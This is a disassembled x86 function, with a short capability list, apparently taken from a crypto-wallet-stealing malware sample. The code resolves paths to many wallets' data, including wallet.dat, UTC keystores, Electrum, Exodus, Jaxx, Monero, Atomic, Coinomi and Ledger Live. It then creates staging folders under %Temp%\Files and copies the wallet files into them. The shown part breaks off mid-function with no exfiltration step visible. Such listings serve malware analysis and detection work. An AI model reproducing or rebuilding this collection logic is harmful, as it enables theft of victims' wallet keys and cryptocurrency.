Function at 0x415150
Capabilities:
Check if file exists
Create directory
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c0560
push eax
mov eax, 0x4784
mov dword fs:[0], esp
call fcn.004bef90
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x1ef0]
push 0x208
push eax
push str._USERPROFILE_Desktop.txt
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Files
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4151c3
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1ce8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41520c
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415202
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416897
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415261
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415257
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416897
push edx
push ecx
call fcn.004a24e6
add esp, 8
sub esp, 0x18
lea ecx, [ebp - 0x1ce8]
mov edx, esp
mov dword [ebp - 0x48], esp
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415285
sub ecx, esi
lea eax, [ebp - 0x1ce8]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 1
mov edx, esp
lea ecx, [ebp - 0x1ef0]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4152d0
sub ecx, esi
lea eax, [ebp - 0x1ef0]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
mov dword [ebp - 4], 0xffffffff
call fcn.00414620
add esp, 0x30
lea eax, [ebp - 0x488]
push 0x208
push eax
push str._USERPROFILE_
call edi
push 0xa
xor eax, eax
mov dword [ebp - 0x18], 0
push str.wallet.dat
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 2
mov edx, esp
lea ecx, [ebp - 0x488]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415360
sub ecx, esi
lea eax, [ebp - 0x488]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
lea ecx, [ebp - 0x28]
call fcn.004147b0
mov dword [ebp - 4], 0xffffffff
add esp, 0x18
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4153ca
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4153c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41689c
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.UTC__2
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0041aa10
sub esp, 0x18
mov dword [ebp - 4], 3
mov edx, esp
lea ecx, [ebp - 0x488]
xor eax, eax
lea esi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x415415
sub ecx, esi
lea eax, [ebp - 0x488]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0041aa10
lea ecx, [ebp - 0x28]
call fcn.004147b0
mov dword [ebp - 4], 0xffffffff
add esp, 0x18
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41547f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415475
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168a1
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x208
lea eax, [ebp - 0x2300]
push eax
push str._LocalAppData_Coinomi
call edi
push 0x208
lea eax, [ebp - 0x2710]
push eax
push str._AppData_waves_exchange
call edi
push 0x208
lea eax, [ebp - 0x2b20]
push eax
push str._AppData_Ledger_Live_sqlite
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_FilesCoinomi
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4154ee
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x20f8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415537
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41552d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168a6
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41558c
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415582
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168a6
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Fileswaves_exchange
mov edx, eax
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4155c2
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2508]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41560b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415601
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ab
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415660
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415656
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ab
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_FilesLedger_Live_sqlite
mov edx, eax
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415696
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2918]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4156df
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4156d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168b0
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415734
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41572a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168b0
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea edx, [ebp - 0x20f8]
lea ecx, [ebp - 0x2300]
call fcn.00414550
lea edx, [ebp - 0x2508]
lea ecx, [ebp - 0x2710]
call fcn.00414550
lea edx, [ebp - 0x2918]
lea ecx, [ebp - 0x2b20]
call fcn.00414550
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectrum
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x41579d
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2d28]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4157e6
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4157dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168b5
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41583b
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415831
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168b5
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectronCash
mov edx, eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415871
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x2f30]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4158ba
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4158b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ba
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41590f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415905
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ba
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectrum_btcp
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415945
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x3138]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x41598e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415984
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168bf
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4159e3
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4159d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168bf
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x2d28]
push 0
push eax
call esi
push 0
lea eax, [ebp - 0x2f30]
push eax
call esi
push 0
lea eax, [ebp - 0x3138]
push eax
call esi
push 0x208
lea eax, [ebp - 0x3340]
push eax
push str._USERPROFILE_AppDataRoamingJaxx
call edi
push 0x208
lea eax, [ebp - 0x3548]
push eax
push str._USERPROFILE_AppDataRoamingExodus
call edi
push 0x208
lea eax, [ebp - 0x3750]
push eax
push str._USERPROFILE_AppDataRoamingMultiBitHD
call edi
push 0x208
lea eax, [ebp - 0x3958]
push eax
push str._USERPROFILE_DocumentsMonero
call edi
push 0x208
lea eax, [ebp - 0x3b60]
push eax
push str._USERPROFILE_AppDataRoamingExodus_Eden
call edi
push 0x208
lea eax, [ebp - 0x3d68]
push eax
push str._USERPROFILE_AppDataRoamingElectrumwallets
call edi
push 0x208
lea eax, [ebp - 0x3f70]
push eax
push str._USERPROFILE_AppDataRoamingElectrum_btcpwallets
call edi
push 0x208
lea eax, [ebp - 0x4178]
push eax
push str._USERPROFILE_AppDataRoamingElectronCashwallets
call edi
push 0x208
lea eax, [ebp - 0x4380]
push eax
push str._USERPROFILE_AppDataRoamingcom.liberty.jaxx
call edi
push 0x208
lea eax, [ebp - 0x4588]
push eax
push str._APPDATA_Atomic
call edi
push 0x208
lea eax, [ebp - 0x4790]
push eax
push str._APPDATA_waves_client
call edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletJaxx
mov edx, eax
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415b11
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x690]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415b5a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415b50
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168c4
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415baf
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415ba5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168c4
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletExodus
mov edx, eax
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415be5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x898]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415c2e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415c24
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168c9
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415c83
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415c79
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168c9
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletMultiBitHD
mov edx, eax
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415cb9
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xaa0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415d02
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415cf8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ce
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415d57
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415d4d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ce
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletMonero
mov edx, eax
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415d8d
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xca8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415dd6
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415dcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168d3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415e2b
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415e21
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168d3
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletExodus_Eden
mov edx, eax
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415e61
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xeb0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415eaa
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415ea0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168d8
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415eff
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415ef5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168d8
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectrumwallets
mov edx, eax
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x415f35
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x10b8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x415f7e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415f74
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168dd
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x415fd3
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415fc9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168dd
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectrum_btcpwallets
mov edx, eax
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x416009
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x12c0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x416052
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416048
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168e2
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4160a7
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41609d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168e2
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletElectronCashwallets
mov edx, eax
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4160dd
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x14c8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x416126
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41611c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168e7
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41617b
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416171
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168e7
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Walletcom.liberty.jaxx
mov edx, eax
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4161b1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x16d0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4161fa
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4161f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ec
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x41624f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416245
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168ec
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_WalletAtomic
mov edx, eax
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x416285
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x18d8]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4162ce
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4162c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168f1
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x416323
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416319
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168f1
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Walletwaves_client
mov edx, eax
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x416359
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x1ae0]
push ecx
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4163a2
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x416398
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4168f6
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
